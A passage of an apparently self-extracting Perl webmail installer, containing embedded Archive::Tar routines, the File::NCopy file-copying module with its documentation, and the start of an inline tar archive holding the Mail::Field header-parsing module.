	sysopen (FH, $file, O_WRONLY|O_CREAT|O_TRUNC)
	    and binmode FH
		or goto &_drat;

	if ($handle) {
	    my $size = $entry->{size};
	    my $data;
	    while ($size > 4096) {
		$handle->gzread ($data, 4096)
		    and syswrite (FH, $data, length $data)
			or goto &_drat;
		$size -= 4096;
	    }
	    $handle->gzread ($data, $size)
		and syswrite (FH, $data, length $data)
		    or goto &_drat
			if ($size);
	}
	else {
	    syswrite FH, $entry->{data}, $entry->{size}
		or goto &_drat
	}
	close FH;
    }
    elsif ($entry->{type} == DIR) { # Directory
	goto &_drat
	    if (-e $file && ! -d $file);

	mkdir $file,0777
	    unless -d $file;
    }
    elsif ($entry->{type} == UNKNOWN) {
	$error = "unknown file type: $_->{type}";
	return undef;
    }
    else {
	_make_special_file ($entry);
    }
    utime time, $entry->{mtime}, $file;

    # We are root, and chown exists
    chown $entry->{uid}, $entry->{gid}, $file
	if ($> == 0 and $^O ne "MacOS" and $^O ne "MSWin32");

    # chmod is done last, in case it makes file readonly
    # (this accomodates DOSish OSes)
    chmod $entry->{mode}, $file;
    chdir $cwd
	if @path;
}

###
### Methods
###

##
## Class methods
##

# Perfom the equivalent of ->new()->add_files(), ->write() without the
# overhead of maintaining an Archive::Tar object.
sub create_archive {
    my ($handle, $file, $compress) = splice (@_, 0, 3);

    if ($compress && !$compression) {
	$error = "Compression not available.\n";
	return undef;
    }

    $handle = gensym;
    open $handle, ref ($file) ? ">&". fileno ($file) : ">" . $file
	or goto &_drat;

    _write_tar (_get_handle ($handle, int ($compress)),
		map {_add_file ($_)} @_);
}

# Perfom the equivalent of ->new()->list_files() without the overhead
# of maintaining an Archive::Tar object.
sub list_archive {
    my ($handle, $file, $fields) = @_;

    $handle = gensym;
    open $handle, ref ($file) ? "<&". fileno ($file) : "<" . $file
	or goto &_drat;

    my $data = _read_tar (_get_handle ($handle), 1);

    return map {my %h; @h{@$fields} = @$_{@$fields}; \%h} @$data
        if (ref $fields eq 'ARRAY'
	    && (@$fields > 1 || $fields->[0] ne 'name'));

    return map {$_->{name}} @$data;
}

# Perform the equivalen of ->new()->extract() without the overhead of
# maintaining an Archive::Tar object.
sub extract_archive {
    my ($handle, $file) = @_;

    $handle = gensym;
    open $handle, ref ($file) ? "<&". fileno ($file) : "<" . $file
	or goto &_drat;

    _read_tar (_get_handle ($handle), 0, 1);
}

# Constructor. Reads tarfile if given an argument that's the name of a
# readable file.
sub new {
    my ($class, $file) = @_;

    my $self = bless {}, $class;

    $self->read ($file)
      if defined $file;

    return $self;
}

## Return list with references to hashes representing the tar archive's
## component files.
#sub data {
#    my $self = shift;

#    return @{$self->{'_data'}};
#}

# Read a tarfile. Returns number of component files.
sub read {
    my ($self, $file) = @_;

    $self->{_data} = [];

    $self->{_handle} = gensym;
    open $self->{_handle}, ref ($file) ? "<&". fileno ($file) : "<" . $file
	or goto &_drat;

    $self->{_data} = _read_tar (_get_handle ($self->{_handle}), 
				  sysseek $self->{_handle}, 0, 1);
    return scalar @{$self->{_data}};
}

# Write a tar archive to file
sub write {
    my ($self, $file, $compress) = @_;

    return _format_tar_file (@{$self->{_data}})
	unless (@_ > 1);

    my $handle = gensym;
    open $handle, ref ($file) ? ">&". fileno ($file) : ">" . $file
	or goto &_drat;

    if ($compress && !$compression) {
	$error = "Compression not available.\n";
	return undef;
    }

    _write_tar (_get_handle ($handle, $compress || 0), $self->{_data});
}

# Add files to the archive. Returns number of successfully added files.
sub add_files {
    my $self = shift;
    my ($counter, $file, $entry);

    foreach $file (@_) {
	if ($entry = _add_file ($file)) {
	    push (@{$self->{'_data'}}, $entry);
	    ++$counter;
	}
    }

    return $counter;
}

# Add data as a file
sub add_data {
    my ($self, $file, $data, $opt) = @_;
    my $ref = {};
    my ($key);

    if($^O eq "MacOS") {
	$file = _munge_file($file);
    }
    $ref->{'data'} = $data;
    $ref->{name} = $file;
    $ref->{mode} = 0666 & (0777 - umask);
    $ref->{uid} = $>;
    $ref->{gid} = (split(/ /,$)))[0]; # Yuck
    $ref->{size} = length $data;
    $ref->{mtime} = ((time - $time_offset) || 0),
    $ref->{chksum} = "      ";	# Utterly pointless
    $ref->{type} = FILE;		# Ordinary file
    $ref->{linkname} = "";
    $ref->{magic} = "ustar";
    $ref->{version} = "00";
    # WinNT protection
    $ref->{uname} = $fake_getpwuid || getpwuid ($>);
    $ref->{gname} = $fake_getgrgid || getgrgid ($ref->{gid});
    $ref->{devmajor} = 0;
    $ref->{devminor} = 0;
    $ref->{prefix} = "";

    if ($opt) {
	foreach $key (keys %$opt) {
	    $ref->{$key} = $opt->{$key}
	}
    }

    push (@{$self->{'_data'}}, $ref);
    return 1;
}

sub remove {
    my ($self) = shift;
    my $file;

    foreach $file (@_) {
	@{$self->{_data}} = grep {$_->{name} ne $file} @{$self->{'_data'}};
    }
    return $self;
}

# Get the content of a file
sub get_content {
    my ($self, $file) = @_;
    my ($entry, $data);

    foreach $entry (@{$self->{_data}}) {
	next
	    unless $entry->{name} eq $file;

	return $entry->{data}
	    unless $entry->{offset};

	my $handle = _get_handle ($self->{_handle});
	$handle->gzseek ($entry->{offset}, 0)
	    or goto &_drat;

	$handle->gzread ($data, $entry->{size})
	    or goto &_drat;

	return $data;
    }
}

# Replace the content of a file
sub replace_content {
    my ($self, $file, $content) = @_;
    my $entry;

    foreach $entry (@{$self->{_data}}) {
	next
	    unless $entry->{name} eq $file;

	$entry->{data} = $content;
	$entry->{size} = length $content;
	$entry->{offset} = undef;
	return 1;
    }
}

# Write a single (probably) file from the in-memory archive to disk
sub extract {
    my $self = shift;
    my ($file, $entry);

    foreach $entry (@{$self->{_data}}) {
	my $cnt = 0;
	foreach $file (@_) {
	    ++$cnt, next
		unless $entry->{name} eq $file;
	    my $handle = $entry->{offset} && _get_handle ($self->{_handle});
	    $handle->gzseek ($entry->{offset}, 0)
		or goto &_drat
		    if $handle;
	    _extract_file ($entry, $handle);
	    splice (@_, $cnt, 1);
	    last;
	}
	last
	    unless @_;
    }
}


# Return a list names or attribute hashes for all files in the
# in-memory archive.
sub list_files {
 my ($self, $fields) = @_;

    return map {my %h; @h{@$fields} = @$_{@$fields}; \%h} @{$self->{'_data'}}
    if (ref $fields eq 'ARRAY' && (@$fields > 1 || $fields->[0] ne 'name'));

    return map {$_->{name}} @{$self->{'_data'}}
}


### Standard end of module :-)
1;

# 
# Sub-package to hide I/O differences between compressed &
# uncompressed archives.
#
# Yes, I could have used the IO::* class hierarchy here, but I'm
# trying to minimise the necessity for non-core modules on perl5
# environments > 5.004

package Archive::Tar::_io;

sub gzseek {
    sysseek $_[0], $_[1], $_[2];
}

sub gzread {
    sysread $_[0], $_[1], $_[2];
}

sub gzwrite {
    syswrite $_[0], $_[1], length $_[1];
}

sub gzclose {
    !close $_[0];
}


package File::NCopy;

=head1 NAME

B<File::NCopy> - Copy file, file
              Copy file[s] | dir[s], dir

=head1 SYNOPSIS

    use File::NCopy qw(copy);

    copy "file","other_file";
    copy "file1","file2","file3","directory";

    # we want to copy the directory recursively
    copy \1,"directory1","directory2";
    copy \1,"file1","file2","directory1","file3","directory2","file4",
        "directory";

    # can also use references to file handles, this is for backward
    # compatibility with File::Copy
    copy \*FILE1,\*FILE2;
    copy \*FILE1,"file";
    copy "file1",\*FILE2;


    # we don't specify \1 as the first argument because we don't want to
    # copy directories recursively
    copy "*.c","*.pl","programs";
    copy "*", "backup";

    use File::NCopy;

    # the below are the default config values
    $file = File::NCopy->new(
            'recursive'      => 0,
            'preserve'       => 0,
            'follow_links'   => 0,
            'force_write'   => 0,
            'set_permission' => \&File::NCopy::u_chmod,
            'file_check'     => \&File::NCopy::f_check,
            'set_times'      => \&File::NCopy::s_times,
    );

    set_permission will take two file names, the original to get the
    file permissions from and the new file to set the file permissions
    for.

    file_check takes two parameters, the file names to check the file to
    copy from and the file to copy to. I am using flock for Unix
    systems.
    Default for this is \&File::NCopy::f_check.  On Unix you can also use
    \&File::NCopy::unix_check.  This one compares the inode and device
    numbers.

    set_times is used if the preserve attribute is true.  It preserves
    the access and modification time of the file and also attempts to
    set the owner of the file to the original owner.  This can be useful
    in a script used by root, though enyone can preserve the access and
    modification times. This also takes two arguments.  The file to get
    the stats from and apply the stats to.

    On Unix boxes you shouldn't need to worry.  On other system you may
    want to supply your own sub references.

    $file = File::NCopy->new(recursive => 1);
    $file->copy "file","other_file";
    $file->copy "directory1","directory2";

    $file = File::NCopy->new(u_chmod => \&my_chmod,f_check => \&my_fcheck);
    $file->copy "directory1","directory2";


=head1 DESCRIPTION

B<File::NCopy::copy> copies files to directories, or a single file to
another file.  You can also use a reference to a file handle if you wish
whem doing a file to file copy.  The functionality is very similar to
B<cp>.  If the argument is a directory to directory copy and the
recursive flag is set then it is done recursively like B<cp -R>.
In fact it behaves like cp on Unix for the most part.
If called in array context, an array of successful copies is returned,
otherwise the number of succesful copies is returned.  If passed a file
handle, it's difficult to make sure the file we are copying isn't the
same that we are copying to, since by opening the file in write mode it
gets pooched.  To avoid this use file names instead, if at all possible,
especially for the to file.  If passed a file handle, it is not closed
when copy returns, files opened by copy are closed.

=over 4

=item B<copy>

Copies a file to another file.  Or a file to a directory.  Or multiple
files and directories to another directory.  Or a directory to another
directory.  Wildcard arguments are expanded, except for the last
argument which should not be expanded.  The file and directory
permissions are set to the orginating file's permissions and if preserve
is set the access and modification times are also set.  If preserve is
set then the uid and gid will also be attempted to be set, though this
may only for for the men in white hats.
In list context it returns all the names of the files/directories that
were successfully copied.  In scalar context it returns the number of
successful copies made.  A directory argument is considerd a single
successful copy if it manages to copy anything at all.  To make a
directory to directory copy the recursive flag must be set.

=item B<cp>

Just calls copy.  It's there to be compatible with File::Copy.

=item B<new>

If used then you can treat this as an object oriented module with some
configuration abilities.

=item B<recursive>

If used as an object then you can use this to set the recursive
attribute.  It can also be set when instantiating with new.  The other
attributes must all be set when instantiating the object.  If it isn't
specified then directories are not followed.

=item B<preserve>

Attempt to preserve the last modification and access time as well as
user and group id's.  This is a useful feature for sysadmins, though the
access and modification time should always be preservable, the uid and
gid may not.

=item B<follow_links>

If the link is to a directory and this attribute is true then the
directory is followed and recursively copied.  Otherwise a link is made
to the root directory the link points to. eg.

/sys/ is a link to /usr/src/sys/ is a link to /usr/src/i386/sys
then the link /sys/ is actually created in the source directory as a
link to /usr/src/i386/sys/ rather than /usr/src/sys/ since if the link
/usr/src/sys/ is removed then we lost the link even though the directory
we originally intended to link to still exists.

=item B<force_write>

Force the writing of a file even if the permissions are read only on it.

=back

=head1 EXAMPLE

See SYNOPSIS.

=head1 BUGS

When following links the target directory might not exactly the same as
the source directory.  The reason is that we have to make sure we don't
follow circular or dead links.  This is really a feature though the
result may not quite resemble the source dir, the overall content will
be the same. :)

=head1 AUTHOR

Gabor Egressy B<gabor@vmunix.com>

Copyright (c) 1998 Gabor Egressy.  All rights reserved.  All wrongs
reversed.  This program is free software; you can redistribute and/or
modify it under the same terms as Perl itself.

Some ideas gleaned from File::Copy by Aaron Sherman & Charles Bailey,
but the code was written from scratch.

=cut

use Cwd ();
use strict;
use vars qw(@EXPORT_OK @ISA $VERSION);
@ISA = qw(Exporter);
# we export nothing by default :)
@EXPORT_OK = qw(copy cp);

$VERSION = '0.32';

# this works on Unix
sub u_chmod($$)
{
    my ($file_from,$file_to) = @_;

    my ($mode) = (stat $file_from)[2];
    chmod $mode & 0777,$file_to
        unless ref $file_to eq 'GLOB' || ref $file_to eq 'FileHandle';
    1;
}

# this also works on Unix
sub f_check($$)
{
    my ($file_from,$file_to) = @_;

    # get a shared lock on file to copy from
    flock $file_from,5
        or return 0;
    # try and get an exclusive lock on the file to copy to
    flock $file_to,6
        or do {
            flock $file_from,8;
            return 0;
        };
    flock $file_from,8;
    flock $file_to,8;

    1;
}

# this also works on Unix, it's not the default but you can easily use
# it by using the module in an object oriented way
# $copy = File::NCopy->new('file_check' => \&File::NCopy::unix_check);
sub unix_check($$)
{
    my ($file_from,$file_to) = @_;

    my ($fdev,$fino) = (stat $file_from)[0,1];
    my ($tdev,$tino) = (stat $file_to)[0,1];

    return 0
        if $fdev == $tdev && $fino == $tino;
    1;
}

sub s_times($$)
{
    my ($file_from,$file_to) = @_;

    my ($uid,$gid,$atime,$mtime) = (stat $file_from)[4,5,8,9];

    utime $atime,$mtime,$file_to
        unless ref $file_to eq 'GLOB' || ref $file_to eq 'FileHandle';

    # this may only work for men in white hats; on Unix
    chown $uid,$gid,$file_to
        unless ref $file_to eq 'GLOB' || ref $file_to eq 'FileHandle';
    1;
}

# all the actual copying is done here, folks ;)
sub _docopy_file_file($$$)
{
    my $this = shift;
    my ($file_from,$file_to) = @_;
    local (*FILE_FROM,*FILE_TO);
    my ($was_handle);

    # did we get a file handle ?
    unless(ref $file_from eq 'GLOB' || ref $file_from eq 'FileHandle') {
        open FILE_FROM,"<$file_from"
            or do {
                print "*** Couldn\'t open from file <$!> ==> $file_from\n"
                    if $this->{'_debug'};
                return 0;
            };
    }
    else {
        *FILE_FROM = *$file_from;
    }

    unless(ref $file_to eq 'GLOB' || ref $file_to eq 'FileHandle') {
        # we must open in update mode since on some systems exclusive
        # locks are only granted to files that are going to be written;
        open FILE_TO,"+<$file_to"
            or goto NO_FILE; # no file, so file can't be the same :)
    }
    else {
        *FILE_TO = *$file_to;
        $was_handle = 1;
    }

    unless(-t FILE_FROM || -t FILE_TO) {
        $this->{'file_check'}->(\*FILE_FROM,\*FILE_TO)
            or return 0;
    }

NO_FILE:
    # files aren't the same; now open for writing unless we got a
    # filehandle
    if(! $was_handle) {
        open FILE_TO,">$file_to"
            or chmod 0644, "$file_to"
                if $this->{'force_write'};
        open FILE_TO,">$file_to"
            or do {
                print "*** Couldn\'t open to file <$!> ==> $file_to\n"
                    if $this->{'_debug'};
                return 0;
            };
    }

    # and now for the braindead OS's
    binmode FILE_FROM;
    binmode FILE_TO;

    my $buf = '';
    my ($len,$write_n);
    # read file and write to new file, recover from write errors and
    # read errors; we accept however much we read and try to write it
    # 8K is a nice buffer size for most file systems
    while(1) {
        $len = sysread(FILE_FROM,$buf,8192);
        return 0
            unless defined $len;
        last
            unless $len > 0;
        while($len) {
            $write_n = syswrite(FILE_TO,$buf,$len);
            return 0
                unless defined $write_n;
            $len -= $write_n;
        }
    }

    $this->{'set_permission'}->($file_from,$file_to);
    $this->{'set_times'}->($file_from,$file_to)
        if $this->{'preserve'};

    # we only close files we opened
    close FILE_FROM
        unless ref $file_from eq 'GLOB' || ref $file_from eq 'FileHandle';
    close FILE_TO
        unless ref $file_to eq 'GLOB' || ref $file_to eq 'FileHandle';

    print "$file_from ==> $file_to\n"
        if $this->{'_debug'};

    1;
}

sub get_path($)
{
    my $dir = shift;

    my $save_dir = Cwd::cwd;
    chdir $dir
        or return undef;
    $dir = Cwd::cwd;
    chdir $save_dir;

    $dir;
}

sub _recurse_from_dir($$$);

# we never actually change the directory :)
sub _recurse_from_dir($$$)
{
    my $this = shift;
    my ($from_dir,$to_dir) = @_;
    local (*DIR);

    opendir DIR,$from_dir
        or do {
            print "*** Couldn\'t opendir <$!> ==> $from_dir\n"
                if $this->{'_debug'};
            return 0;
        };
    my @files = readdir DIR
        or do {
            print "*** Couldn\'t read dir <$!> ==> $from_dir\n"
                if $this->{'_debug'};
            return 0;
        };
    closedir DIR;

    my $made_dir;
    unless(-e $to_dir) {
        mkdir $to_dir,0777
            or return 0;
        $made_dir = 1;
    }

    my ($retval,$ret,$link,$save_link);

    # make sure we don't end up with a recursive, circular link
    # this isn't totally foolproof, though it does prevent circular
    # links
    if($this->{'follow_links'}) {
        if(defined($save_link = get_path $from_dir)) {
            $this->{'_links'}->{$save_link} = 1;
        }
    }

    for (@files) {
        next
            if /^\.\.?$/;
        if(-f "$from_dir/$_") {
            $ret = _docopy_file_file $this, $from_dir . '/' . $_ ,
                    $to_dir . '/' . $_;
        }
        elsif(-d "$from_dir/$_") {
            if($this->{'follow_links'} && -l "$from_dir/$_") {
                $link = get_path "$from_dir/$_";
            }
            if(! -l "$from_dir/$_" || $this->{'follow_links'}
                    && defined $link
                    && ! exists $this->{'_links'}->{$link}) {
                $ret = _recurse_from_dir
                        $this,$from_dir . '/' . $_ ,$to_dir . '/' . $_;
            }
            else {
                if(defined($link = get_path "$from_dir/$_")) {
                    $ret = symlink $link, "$to_dir/$_";
                }
            }
        }
        $retval = $retval || $ret;
    }

    if($made_dir) {
        $this->{'set_permission'}->($from_dir,$to_dir);
        $this->{'set_times'}->($from_dir,$to_dir)
            if $this->{'preserve'};
    }

    # remove the name so that there can be link to it from other dirs
    # that are not subdirs of this one
    if($this->{'follow_links'}) {
        delete $this->{'_links'}->{$save_link};
    }

    $retval;
}

sub _docopy_dir_dir($$$)
{
    my $this = shift;
    my ($dir_from,$dir_to) = @_;
    my ($from_name);

    $dir_from =~ s/\/$//; # remove trailing slash, if any
    if($dir_from =~ tr/\///) {
        $from_name = substr $dir_from,rindex($dir_from,'/') + 1;
    }
    else {
        $from_name = $dir_from;
        if($from_name =~ /^\.\.?$/) {
            $from_name = '';
        }
    }

    unless($dir_to =~ /\/$/) {
        $dir_to .= '/';
    }
    $dir_to .= $from_name;

    $this->{'_links'} = {};

    _recurse_from_dir $this, $dir_from,$dir_to;
}

sub _docopy_file_dir($$$)
{
    my $this = shift;
    my ($file,$dir) = @_;
    my $file_to;

    if($file =~ tr/\///) {
        $file_to = substr $file,rindex($file,'/') + 1;
    }
    else {
        $file_to = $file;
    }

    $dir =~ s/\/$//; # remove trailing slash

    _docopy_file_file $this, $file,$dir.'/'.$file_to;
}

# this just redirects calls, like copy ;)
sub _docopy_files_dir($$@)
{
    my $this = shift;
    my $copies = shift;
    my $dir = pop;

    for (@_) {
        if(-d $_ && $this->{'recursive'}) {
            _docopy_dir_dir $this, $_, $dir
                and push @$copies, $_;
        }
        elsif(-f $_) {
            _docopy_file_dir $this, $_, $dir
                and push @$copies, $_;
        }
    }
    1;
}

# does glob work on all systems?
sub expand(@)
{
    my @args;

    return 
        if @_ < 2;

    for (my $i = 0;$i < $#_;++$i) {
        push @args,glob $_[$i];
    }
    push @args,$_[$#_];

    @args;
}

sub new(@);

# this just redirects calls
sub copy(@)
{
    my $this;

    # were we called through an object reference?
    if(ref $_[0] eq 'File::NCopy') {
        $this = shift;
    }
    else {
        # no, so let's make one
        $this = new File::NCopy;
        if(ref $_[0] eq 'SCALAR') {
            my $rec = shift;
            $this->recursive($$rec);
        }
    }

    my @copies;
    my @args = expand @_;

    print "passed args ==> @args\n"
        if $this->{'_debug'};

    # one or more files/directories to a directory
    if(@args >= 2 && -d $args[$#args]) {
        _docopy_files_dir $this, \@copies, @args;
    }
    # file to file
    elsif(@args == 2 && -f $args[0]) {
        _docopy_file_file $this, $args[0],$args[1]
            and push @copies, $args[0];
    }

    @copies;
}

sub cp(@) {
    return copy @_;
}

# instantiate our object
sub new(@)
{
    my $this = shift;
    
    my $conf = {
        'recursive'      => 0,
        'preserve'       => 0,
        'follow_links'   => 0,
        'force_write'    => 0,
        '_debug'         => 0,
        'set_permission' => \&File::NCopy::u_chmod,
        'file_check'     => \&File::NCopy::f_check,
        'set_times'      => \&File::NCopy::s_times,
        '_links'         => {},
    };

    my $ref;
    if(@_ % 2 == 0) {
        my %ref = @_;
        $ref = \%ref;
    }
    elsif(ref $_[0] eq 'HASH') {
        $ref = shift;
    }

    if(ref $ref eq 'HASH') {
        $conf->{'recursive'} = abs int $ref->{'recursive'}
            if defined $ref->{'recursive'};
        $conf->{'preserve'} = abs int $ref->{'preserve'}
            if defined $ref->{'preserve'};
        $conf->{'follow_links'} = abs int $ref->{'follow_links'}
            if defined $ref->{'follow_links'};
        $conf->{'force_write'} = abs int $ref->{'force_write'}
            if defined $ref->{'force_write'};
        $conf->{'_debug'} = abs int $ref->{'_debug'}
            if defined $ref->{'_debug'};
        $conf->{'set_permission'} = $ref->{'set_permission'}
            if defined $ref->{'set_permission'}
                && ref $ref->{'set_permission'} eq 'CODE';
        $conf->{'file_check'} = $ref->{'file_check'}
            if defined $ref->{'file_check'}
                && ref $ref->{'file_check'} eq 'CODE';
        $conf->{'set_times'} = $ref->{'set_times'}
            if defined $ref->{'set_times'}
                && ref $ref->{'set_times'} eq 'CODE';
    }

    bless $conf,$this;
}

sub recursive($;$)
{
    return
        if @_ < 1;
    my $this = shift;

    return
        unless ref $this eq 'File::NCopy';

    @_ ? $this->{'recursive'} = abs int shift
       : $this->{'recursive'};
}

sub preserve($;$)
{
    return
        if @_ < 1;
    my $this = shift;

    return
        unless ref $this eq 'File::NCopy';

    @_ ? $this->{'preserve'} = abs int shift
       : $this->{'preserve'};
}

sub follow_links($;$)
{
    return
        if @_ < 1;
    my $this = shift;

    return
        unless ref $this eq 'File::NCopy';

    @_ ? $this->{'follow_links'} = abs int shift
       : $this->{'follow_links'};
}

sub force_write($;$)
{
    return
        if @_ < 1;
    my $this = shift;

    return
        unless ref $this eq 'File::NCopy';

    @_ ? $this->{'force_write'} = abs int shift
       : $this->{'force_write'};
}

1;

} # end BEGIN


# DO NOT MUCK WITH ANYTHING BELOW THIS LINE!  THE CHAOS BEYOND THIS LINE
# IS THE COMPRESSED WEBMAIL ARCHIVE (BELIEVE IT OR NOT!)

__END__
wm357/ 40755    312    144           0  7245677670  10700 5ustar  webmailuserswm357/Mail/ 40700    312    144           0  7245677670  11550 5ustar  webmailuserswm357/Mail/Field.pm100755    312    144       22051  7070224304  13235 0ustar  webmailusers# Mail::Field.pm
#
# Copyright (c) 1995-2000 Graham Barr <gbarr@pobox.com>. All rights reserved.
# This program is free software; you can redistribute it and/or
# modify it under the same terms as Perl itself.

package Mail::Field;

# $Id: //depot/MailTools/Mail/Field.pm#6 $

use Carp;
use strict;
use vars qw($AUTOLOAD $VERSION);

$VERSION = "1.07";

unless(defined &UNIVERSAL::can) {
    *UNIVERSAL::can = sub {
	my($obj,$meth) = @_;
	my $pkg = ref($obj) || $obj;
	my @pkg = ($pkg);
	my %done;
	while(@pkg) {
            $pkg = shift @pkg;
            next if exists $done{$pkg};
            $done{$pkg} = 1;

	    no strict 'refs';

            unshift @pkg,@{$pkg . "::ISA"}
        	if(@{$pkg . "::ISA"});
            return \&{$pkg . "::" . $meth}
        	if defined(&{$pkg . "::" . $meth});
	}
	undef;
    }
}

sub _header_pkg_name
{
 my($header) = lc shift;

 $header =~ s/((\b|_)\w)/\U$1/gio;

 if (length($header) > 8)
  {
   my @header = split /[-_]+/, $header;
   my $chars = int((7 + @header) / @header) || 1;
   $header = substr(join('', map { substr($_,0,$chars) } @header),0,8);
  }
 else
  {
   $header =~ s/[-_]+//go;
  }

 'Mail::Field::' . $header;
}

##
## Use the import method to load the sub-classes
##

sub _require_dir
{
 my($pkg,$dir,$dir_sep) = @_;

 if(opendir(DIR,$dir))
  {
   my @inc =  ();
   my $f;

   foreach $f (readdir(DIR))
    {
     next
	unless $f =~ /^([\w\-]+)/;

     my $p = lc $1;
     my $n = $dir . $dir_sep . $p;

     if(-d $n )
      {
       _require_dir( $pkg . "::" . $f, $n, $dir_sep);
      }
     else
      {
       $p =~ s/-/_/go;
       eval "require ${pkg}::$p"
      }
    }
   closedir(DIR);
  }
}

sub import
{
 my $pkg = shift;

 if(@_)
  {
   local $_;
   map { 
        eval "require " . _header_pkg_name($_) || die $@;
       } @_;
  }
 else
  {
   my($f,$dir,$dir_sep);
   foreach $f (keys %INC)
    {
     if($f =~ /^Mail(\W)Field\W/i)
      {
       $dir_sep = $1;
       $dir = ($INC{$f} =~ /(.*Mail\W+Field)/i)[0] . $dir_sep;
       last;
      }
    }
   _require_dir('Mail::Field', $dir, $dir_sep);
  }
}


##
## register a header class, this creates a new method in Mail::Field
## which will call new on that class
##

sub register
{
 my $self = shift;
 my $method = lc shift;
 my $pkg = shift || ref($self) || $self;

 $method =~ tr/-/_/;

 $pkg = _header_pkg_name($method)
	if($pkg eq "Mail::Field");

 croak "Re-register of $method"
	if Mail::Field->can($method);

 no strict 'refs';
 *{$method} = sub {
	shift;
	unless ($pkg->can('stringify')) {
	    eval "require $pkg" || die $@;
	}
	$pkg->_build(@_);
 };

}

##
## the *real* constructor
## if called with one argument then the `parse' method will be called
## otherwise the `create' method is called
##

sub _build
{
 my $type = shift;
 my $self = bless {}, $type;

 @_ == 1 ? $self->parse(@_)
	 : $self->create(@_);
}

sub new
{
 my $self  = shift; # ignored
 my $field = lc shift;

 $field =~ tr/-/_/;
 
 $self->$field(@_);
}

##
## A default create method. This allows us to do
## $s = Mail::Field->new('Subject', Text => "joe");
## $s = Mail::Field->new('Subject', "joe");
##

sub create
{
 my $self = shift;
 my %arg = @_;

 $self = bless {}, $self
	unless ref($self);

 %$self = ();

 $self->set(\%arg);
}

##
## A default create method. This allows us to do
## $s = Mail::Field->new('Subject');
##

sub parse
{
 my $self = shift;
 my $type = ref($self) || $self;

 croak "$type: Cannot parse";
}

##
## either get the text, or parse a new one
##

sub text
{
 my $self = shift;
 @_ ? $self->parse(@_)
    : $self->stringify;
}

##
## Return the tag (in the correct case) for this item
##

sub tag
{
 my $self = shift;
 my $tag = ref($self) || $self;

 $tag =~ s/.*:://o;
 $tag =~ s/_/-/og;
 $tag =~ s/\b([a-z]+)/\L\u$1/gio;
 $tag =~ s/\b([b-df-hj-np-tv-z]+)\b/\U$1/gio;

 $tag;
}

##
## a constructor
## create a new object by extracting from a Mail::Header object
##

sub extract
{
 my $self = shift;

 my $tag  = shift;
 my $head = shift;

 my $method = lc $tag;
 $method =~ tr/-/_/;

 my $text;

 if(@_ == 0 && wantarray)
  {
   my @ret = ();

   foreach $text ($head->get($tag))
    {
     chomp($text);

     push(@ret, $self->$method($text));
    }

   return @ret;
  }

 my $idx  = shift || 0;

 $text = $head->get($tag,$idx) or
	return undef;

 chomp($text);

 $self->$method($text);
}

##
## Autoload sub-classes, or, if the .pm file cannot be found, create a dummy
## sub-class based on Mail::Field::Generic
##

sub AUTOLOAD
{
 my $method = $AUTOLOAD;

 $method =~ s/.*:://o;

 croak "Undefined subroutine &$AUTOLOAD called"
	unless $method =~ /^[^A-Z\x00-\x1f\x80-\xff :]+$/o;

 my $pkg = _header_pkg_name($method);

 unless(eval "require " . $pkg)
  {
   my $tag = $method;

   $tag =~ s/_/-/og;
   $tag =~ s/\b([a-z]+)/\L\u$1/gio;
   $tag =~ s/\b([b-df-hj-np-tv-z]+)\b/\U$1/gio;

   no strict;

   @{$pkg . "::ISA"} = qw(Mail::Field::Generic);
   *{$pkg . "::tag"} = sub { $tag };
  }

  $pkg->register($method)
	unless(Mail::Field->can($method));

 goto &$AUTOLOAD;
}

##
## prevent the calling of AUTOLOAD for DESTROY :-)
##

sub DESTROY {}

##
## A generic package for those not defined in thier own package. This is
## fine for fields like Subject, X-Mailer etc. where the field holds only
## a string of no particular importance/format.
##

package Mail::Field::Generic;

use Carp;
use vars qw(@ISA);

@ISA = qw(Mail::Field);

sub create
{
 my $self = shift;
 my %arg = @_;
 my $text = delete $arg{Text} || "";

 croak "Unknown options " . join(",", keys %arg)
	if %arg;

 $self->{Text} = $text;

 $self;
}

sub parse
{
 my $self = shift;

 $self->{Text} = shift || "";
 $self;
}

sub stringify
{
 my $self = shift;
 $self->{Text};
}

1;

__END__

=head1 NAME

Mail::Field - Base class for manipulation of mail header fields

=head1 SYNOPSIS

    use Mail::Field;
    
    $field = Mail::Field->new('Subject', 'some subject text');
    print $field->tag,": ",$field->stringify,"\n";

    $field = Mail::Field->subject('some subject text');

=head1 DESCRIPTION

C<Mail::Field> is a base class for packages that create and manipulate
fields from Email (and MIME) headers. Each different field will have its
own sub-class, defining its own interface.

This document describes the minimum interface that each sub-class should
provide, and also guidlines on how the field specific interface should be
defined. 

=head1 CONSTRUCTOR

Mail::Field, and it's sub-classes define several methods which return
new objects. These can all be termed to be constructors.

=over 4

=item new ( TAG [, STRING | OPTIONS ] )

The new constructor will create an object in the class which defines
the field specified by the tag argument.

After creation of the object :-

If the tag argument is followed by a single string then the C<parse> method
will be called with this string.

If the tag argument is followed by more than one arguments then the C<create>
method will be called with these arguments.

=item extract ( TAG, HEAD [, INDEX ] )

This constuctor takes as arguments the tag name, a C<Mail::Head> object
and optionally an index.

If the index argument is given then C<extract> will retrieve the given tag
from the C<Mail::Head> object and create a new C<Mail::Field> based object.
I<undef> will be returned in the field does not exist.

If the index argument is not given the the result depends on the context
in which C<extract> is called. If called in a scalar context the result
will be as if C<extract> was called with an index value of zero. If called
in an array context then all tags will be retrieved and a list of
C<Mail::Field> objects will be returned.

=item combine ( FIELD_LIST )

This constructor takes as arguments a list of C<Mail::Field> objects, which
should all be of the same sub-class, and creates a new object in that same
class.

This constructor is nor defined in C<Mail::Field> as there is no generic
way to combine the various field types. Each sub-class should define
its own combine constructor, if combining is possible/allowed.

=back

=head1 METHODS

=over 4

=item parse

=item set

=item tag

=item stringify

=back

=head1 SUB-CLASS PACKAGE NAMES

All sub-classes should be called Mail::Field::I<name> where I<name> is
derived from the tag using these rules.

=over 4

=item *

Consider a tag as being made up of elements separated by '-'

=item *

Convert all characters to lowercase except the first in each element, which
should be uppercase.

=item *

I<name> is then created from these elements by using the first
N characters from each element.

=item *

N is calculated by using the formula :-

    int((7 + #elements) / #elements)

=item *

I<name> is then limited to a maximum of 8 characters, keeping the first 8
characters

=back

For an example of this take a look at the definition of the 
C<_header_pkg_name> subroutine in C<Mail::Field>

=head1 AUTHOR

Graham Barr <gbarr@pobox.com>

=head1 SEE ALSO

L<MIME::*>s

=head1 CREDITS

Eryq <eryq@rhine.gsfc.nasa.gov> - for all the help in defining this package
so that Mail::* and MIME::* can be integrated together.

=head1 COPYRIGHT

Copyright (c) 1995-2000 Graham Barr. All rights reserved. This program is free
software; you can redistribute it and/or modify it under the same terms
as Perl itself.

